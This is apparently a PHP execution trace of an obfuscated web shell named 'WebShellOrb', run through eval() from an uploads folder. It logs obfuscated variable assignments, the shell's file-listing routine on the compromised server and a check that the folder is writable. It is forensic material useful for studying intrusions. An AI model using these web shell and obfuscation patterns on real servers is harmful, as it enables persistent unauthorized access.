$etnrnpxldmn = 'f' 3 A /var/www/html/uploads/ob.php(1) : eval()'d code 1 GLOBALS['ccfvqihqjil'] = 'f' 3 A /var/www/html/uploads/ob.php(1) : eval()'d code 1 GLOBALS['szfifyf'] = 'f' 3 A /var/www/html/uploads/ob.php(1) : eval()'d code 1 $ftzjqt = 'f' 3 A /var/www/html/uploads/ob.php(1) : eval()'d code 1 $gnoadugbfdu = 'f' 3 A /var/www/html/uploads/ob.php(1) : eval()'d code 1 $djskevnnm = 'f' 3 A /var/www/html/uploads/ob.php(1) : eval()'d code 1 $mhjrxxhgopd = 'f' 3 A /var/www/html/uploads/ob.php(1) : eval()'d code 1 $lbmonmg = 'f' 3 A /var/www/html/uploads/ob.php(1) : eval()'d code 1 GLOBALS['zppmigmvqhk'] = 'f' 3 A /var/www/html/uploads/ob.php(1) : eval()'d code 1 $kjkiswjllpu = 'f' 3 A /var/www/html/uploads/ob.php(1) : eval()'d code 1 $oxvhme = 'f' 3 A /var/www/html/uploads/ob.php(1) : eval()'d code 1 GLOBALS['cpticd'] = 'f' 3 A /var/www/html/uploads/ob.php(1) : eval()'d code 1 GLOBALS['hthoifyfkl'] = 'l' 4 223 0 0.037262 1498592 urlencode 0 /var/www/html/uploads/ob.php(1) : eval()'d code 1 1 'ob.php' 4 223 1 0.037276 1498656 4 223 R 'ob.php' 4 224 0 0.037291 1498640 urlencode 0 /var/www/html/uploads/ob.php(1) : eval()'d code 1 1 'ob.php' 4 224 1 0.037304 1498704 4 224 R 'ob.php' 4 225 0 0.037319 1498704 htmlspecialchars 0 /var/www/html/uploads/ob.php(1) : eval()'d code 1 1 'ob.php' 4 225 1 0.037333 1498896 4 225 R 'ob.php' 4 226 0 0.037348 1498704 WebShellOrbViewSize 1 /var/www/html/uploads/ob.php(1) : eval()'d code 1 1 66027 4 A /var/www/html/uploads/ob.php(1) : eval()'d code 1 GLOBALS['gimekbfm'] = 's' 4 A /var/www/html/uploads/ob.php(1) : eval()'d code 1 GLOBALS['cbmexkhxicy'] = 's' 4 A /var/www/html/uploads/ob.php(1) : eval()'d code 1 $dqglmpbjtwd = 's' 4 A /var/www/html/uploads/ob.php(1) : eval()'d code 1 $vamszp = 's' 4 A /var/www/html/uploads/ob.php(1) : eval()'d code 1 $jwevteetyqc = 's' 4 A /var/www/html/uploads/ob.php(1) : eval()'d code 1 $uebsygttsee = 's' 4 A /var/www/html/uploads/ob.php(1) : eval()'d code 1 GLOBALS['nmpwumxsjgpa'] = 's' 5 227 0 0.037443 1498704 sprintf 0 /var/www/html/uploads/ob.php(1) : eval()'d code 1 2 '%u' 66027 5 227 1 0.037463 1499088 5 227 R '66027' 4 A /var/www/html/uploads/ob.php(1) : eval()'d code 1 $s$vamszps = '66027' 4 A /var/www/html/uploads/ob.php(1) : eval()'d code 1 $rsztkxvkbp = 's' 5 228 0 0.037500 1499024 sprintf 0 /var/www/html/uploads/ob.php(1) : eval()'d code 1 2 '%1.2f' 64.4794921875 5 228 1 0.037516 1499408 5 228 R '64.48' 4 226 1 0.037530 1498744 4 226 R '64.48 KB' 4 229 0 0.037546 1498832 urlencode 0 /var/www/html/uploads/ob.php(1) : eval()'d code 1 1 'ob.php' 4 229 1 0.037560 1498896 4 229 R 'ob.php' 4 230 0 0.037574 1498960 urlencode 0 /var/www/html/uploads/ob.php(1) : eval()'d code 1 1 'ob.php' 4 230 1 0.037587 1499024 4 230 R 'ob.php' 4 231 0 0.037601 1499024 urlencode 0 /var/www/html/uploads/ob.php(1) : eval()'d code 1 1 'ob.php' 4 231 1 0.037614 1499088 4 231 R 'ob.php' 4 232 0 0.037627 1499024 urlencode 0 /var/www/html/uploads/ob.php(1) : eval()'d code 1 1 'ob.php' 4 232 1 0.037640 1499088 4 232 R 'ob.php' 4 233 0 0.037654 1499184 urlencode 0 /var/www/html/uploads/ob.php(1) : eval()'d code 1 1 'ob.php' 4 233 1 0.037667 1499248 4 233 R 'ob.php' 3 A /var/www/html/uploads/ob.php(1) : eval()'d code 1 $ll = 1 3 A /var/www/html/uploads/ob.php(1) : eval()'d code 1 $ff = ['name' => 'prepend.php', 'path' => '/var/www/html/uploads/prepend.php', 'modify' => '2023-02-12 22:43:40', 'perms' => '-rwxr-xr-x', 'size' => 57, 'owner' => 'root', 'group' => 'root', 'type' => 'file'] 3 A /var/www/html/uploads/ob.php(1) : eval()'d code 1 $dwvibzt = 'f' 3 A /var/www/html/uploads/ob.php(1) : eval()'d code 1 $etnrnpxldmn = 'f' 3 A /var/www/html/uploads/ob.php(1) : eval()'d code 1 GLOBALS['ccfvqihqjil'] = 'f' 3 A /var/www/html/uploads/ob.php(1) : eval()'d code 1 GLOBALS['szfifyf'] = 'f' 3 A /var/www/html/uploads/ob.php(1) : eval()'d code 1 $ftzjqt = 'f' 3 A /var/www/html/uploads/ob.php(1) : eval()'d code 1 $gnoadugbfdu = 'f' 3 A /var/www/html/uploads/ob.php(1) : eval()'d code 1 $djskevnnm = 'f' 3 A /var/www/html/uploads/ob.php(1) : eval()'d code 1 $mhjrxxhgopd = 'f' 3 A /var/www/html/uploads/ob.php(1) : eval()'d code 1 $lbmonmg = 'f' 3 A /var/www/html/uploads/ob.php(1) : eval()'d code 1 GLOBALS['zppmigmvqhk'] = 'f' 3 A /var/www/html/uploads/ob.php(1) : eval()'d code 1 $kjkiswjllpu = 'f' 3 A /var/www/html/uploads/ob.php(1) : eval()'d code 1 $oxvhme = 'f' 3 A /var/www/html/uploads/ob.php(1) : eval()'d code 1 GLOBALS['cpticd'] = 'f' 3 A /var/www/html/uploads/ob.php(1) : eval()'d code 1 GLOBALS['hthoifyfkl'] = 'l' 4 234 0 0.037868 1498608 urlencode 0 /var/www/html/uploads/ob.php(1) : eval()'d code 1 1 'prepend.php' 4 234 1 0.037882 1498680 4 234 R 'prepend.php' 4 235 0 0.037897 1498672 urlencode 0 /var/www/html/uploads/ob.php(1) : eval()'d code 1 1 'prepend.php' 4 235 1 0.037910 1498744 4 235 R 'prepend.php' 4 236 0 0.037924 1498752 htmlspecialchars 0 /var/www/html/uploads/ob.php(1) : eval()'d code 1 1 'prepend.php' 4 236 1 0.037939 1498944 4 236 R 'prepend.php' 4 237 0 0.037953 1498736 WebShellOrbViewSize 1 /var/www/html/uploads/ob.php(1) : eval()'d code 1 1 57 4 A /var/www/html/uploads/ob.php(1) : eval()'d code 1 GLOBALS['gimekbfm'] = 's' 4 A /var/www/html/uploads/ob.php(1) : eval()'d code 1 GLOBALS['cbmexkhxicy'] = 's' 4 A /var/www/html/uploads/ob.php(1) : eval()'d code 1 $dqglmpbjtwd = 's' 4 A /var/www/html/uploads/ob.php(1) : eval()'d code 1 $vamszp = 's' 4 A /var/www/html/uploads/ob.php(1) : eval()'d code 1 $jwevteetyqc = 's' 4 A /var/www/html/uploads/ob.php(1) : eval()'d code 1 $uebsygttsee = 's' 4 A /var/www/html/uploads/ob.php(1) : eval()'d code 1 GLOBALS['nmpwumxsjgpa'] = 's' 5 238 0 0.038047 1498736 sprintf 0 /var/www/html/uploads/ob.php(1) : eval()'d code 1 2 '%u' 57 5 238 1 0.038061 1499120 5 238 R '57' 4 A /var/www/html/uploads/ob.php(1) : eval()'d code 1 $s$vamszps = '57' 4 A /var/www/html/uploads/ob.php(1) : eval()'d code 1 $rsztkxvkbp = 's' 4 237 1 0.038097 1498768 4 237 R '57 B' 4 239 0 0.038113 1498832 urlencode 0 /var/www/html/uploads/ob.php(1) : eval()'d code 1 1 'prepend.php' 4 239 1 0.038127 1498904 4 239 R 'prepend.php' 4 240 0 0.038141 1498960 urlencode 0 /var/www/html/uploads/ob.php(1) : eval()'d code 1 1 'prepend.php' 4 240 1 0.038155 1499032 4 240 R 'prepend.php' 4 241 0 0.038169 1499024 urlencode 0 /var/www/html/uploads/ob.php(1) : eval()'d code 1 1 'prepend.php' 4 241 1 0.038182 1499096 4 241 R 'prepend.php' 4 242 0 0.038196 1499024 urlencode 0 /var/www/html/uploads/ob.php(1) : eval()'d code 1 1 'prepend.php' 4 242 1 0.038208 1499096 4 242 R 'prepend.php' 4 243 0 0.038222 1499184 urlencode 0 /var/www/html/uploads/ob.php(1) : eval()'d code 1 1 'prepend.php' 4 243 1 0.038235 1499256 4 243 R 'prepend.php' 3 A /var/www/html/uploads/ob.php(1) : eval()'d code 1 $ll = 0 4 244 0 0.038261 1498512 htmlspecialchars 0 /var/www/html/uploads/ob.php(1) : eval()'d code 1 1 '/var/www/html/uploads/' 4 244 1 0.038276 1498704 4 244 R '/var/www/html/uploads/' 4 245 0 0.038414 1498512 class_exists 0 /var/www/html/uploads/ob.php(1) : eval()'d code 1 1 'ZipArchive' 4 245 1 0.038430 1498552 4 245 R FALSE 4 246 0 0.038446 1498512 WebShellOrbFooter 1 /var/www/html/uploads/ob.php(1) : eval()'d code 1 0 5 247 0 0.038459 1498512 is_writable 0 /var/www/html/uploads/ob.php(1) : eval()'d code 1 1 '/var/www/html/uploads/' 5 247 1 0.038478 1498552 5 247 R TRUE 4 A /var/www/html/uploads/ob.php(1) : eval()'d code 1 $is_writableis_writable = ' (Writeable)' 5 248 0 0.038507 1498512 htmlspecialchars 0 /var/www/html/uploads/ob.php(1) : eval()'d code 1 1 '/var/www/html/uploads/' 5 248 1 0.038522 1498704 5 248 R '/var/www/html/uploads/' 4 246 1 0.038540 1498512 3 48 1 0.038550 1490576 0.038592 1408952 TRACE END [2023-02-13 01:44:06.173413]